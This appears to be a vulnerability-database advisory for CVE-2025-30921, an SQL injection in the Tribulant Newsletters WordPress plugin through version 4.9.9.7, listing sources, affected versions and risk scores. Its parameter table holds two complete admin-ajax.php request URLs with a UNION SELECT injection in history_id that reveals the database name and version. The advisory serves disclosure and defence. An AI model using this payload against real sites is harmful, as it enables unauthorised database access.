CVE-2025-30921

🗓️ 27 Mar 2025 10:55:57Reported by PatchstackType

cve🔗 web.nvd.nist.gov👁 49 Views🌐 WEB

SQL Injection vulnerability in Tribulant Software Newsletters affects versions up to 4.9.9.7.

Reporter	Title	Published	Views	Family All 11
GithubExploit	Exploit for CVE-2025-30921	3 Apr 202500:29	–	githubexploit
ATTACKERKB	CVE-2025-30921	27 Mar 202511:15	–	attackerkb
Circl	CVE-2025-30921	27 Mar 202511:26	–	circl
CNNVD	WordPress plugin Newsletters SQL注入漏洞	27 Mar 202500:00	–	cnnvd
Cvelist	CVE-2025-30921 WordPress Newsletters plugin <= 4.9.9.7 - SQL Injection vulnerability	27 Mar 202510:55	–	cvelist
EUVD	EUVD-2025-8296	3 Oct 202520:07	–	euvd
NVD	CVE-2025-30921	27 Mar 202511:15	–	nvd
Patchstack	WordPress Newsletters plugin <= 4.9.9.7 - SQL Injection vulnerability	27 Mar 202511:19	–	patchstack
RedhatCVE	CVE-2025-30921	29 Mar 202511:34	–	redhatcve
Vulnrichment	CVE-2025-30921 WordPress Newsletters plugin <= 4.9.9.7 - SQL Injection vulnerability	27 Mar 202510:55	–	vulnrichment

Vulners

Node

tribulant_software newslettersRange≤4.9.9.7wordpress

[
  {
    "collectionURL": "https://wordpress.org/plugins",
    "defaultStatus": "unaffected",
    "packageName": "newsletters-lite",
    "product": "Newsletters",
    "vendor": "Tribulant Software",
    "versions": [
      {
        "changes": [
          {
            "at": "4.9.9.8",
            "status": "unaffected"
          }
        ],
        "lessThanOrEqual": "4.9.9.7",
        "status": "affected",
        "version": "0",
        "versionType": "custom"
      }
    ]
  }
]

Source	Link
patchstack	www.patchstack.com/database/Wordpress/Plugin/newsletters-lite/vulnerability/wordpress-newsletters-plugin-4-9-9-7-sql-injection-vulnerability

Parameter	Position	Path	Description	CWE
history_id	query param	/wp-admin/admin-ajax.php?action=wpmlwelcomestats&security=&type=years&chart=bar&from=2024-12-31&to=2024-12-31&history_id=FOO%27+UNION+SELECT+(CONCAT((DATABASE()),%22-%22,(@@VERSION))),NULL+LIMIT+1,2+%23	SQL Injection vulnerability via history_id in admin-ajax.php to disclose database name and version	CWE-89
history_id	query param	/wp-admin/admin-ajax.php?action=wpmlwelcomestats&security=22b1ac0de6&type=years&chart=bar&from=2024-12-31&to=2024-12-31&history_id=FOO%27+UNION+SELECT+(CONCAT((DATABASE()),%22-%22,(@@VERSION))),NULL+LIMIT+1,2+%23	SQL Injection vulnerability via history_id in admin-ajax.php to disclose database name and version	CWE-89

28 Apr 2026 16:12Current

7.3High risk

Vulners AI Score7.3

CVSS 3.17.6

EPSS0.0037

SSVC

CWE-89